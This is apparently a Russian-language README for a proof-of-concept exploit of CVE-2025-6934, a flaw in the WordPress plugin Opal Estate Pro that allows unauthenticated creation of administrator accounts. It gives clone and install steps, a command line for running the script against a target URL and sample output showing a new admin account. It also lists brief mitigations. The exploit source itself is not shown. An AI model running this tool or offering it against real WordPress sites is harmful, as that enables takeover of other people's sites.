CVE-2025-6934 – Эксплуатация WordPress Opal Estate Pro

📖 Описание
Этот репозиторий содержит эксплойт Proof of Concept (PoC) для CVE-2025-6934,
критической уязвимости в плагине WordPress: Opal Estate Pro <= 1.7.5, которая позволяет создавать учетные записи администратора без аутентификации.

⚠️ Отказ от ответственности: Данный инструмент предоставляется только в образовательных целях и для исследований в области безопасности.
Автор не несет ответственности за любое неправомерное использование или причиненный ущерб.

🚀 Возможности

• Автоматическое определение версии плагина из readme.txt
• Извлечение nonce для регистрации
• Эксплуатация уязвимой AJAX-конечной точки
• Создание новой учетной записи администратора

🔧 Установка

Клонируйте репозиторий и установите зависимости:

git clone https://github.com/yukinime/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ Использование

Запустите скрипт с указанием цели:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ Пример вывода:

[✔] Eksploitasi Berhasil!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

📸 Скриншот

Скриншот эксплойта

🛡️ Меры защиты

• Обновите плагин до последней версии
• Или немедленно отключите уязвимый плагин
• Отслеживайте журналы WordPress на предмет несанкционированного создания учетных записей

👤 Автор

Cyberlone Indonesia (Cyberlone)

📜 Лицензия

Этот проект лицензирован на условиях лицензии MIT – см. LICENSE для получения подробной информации.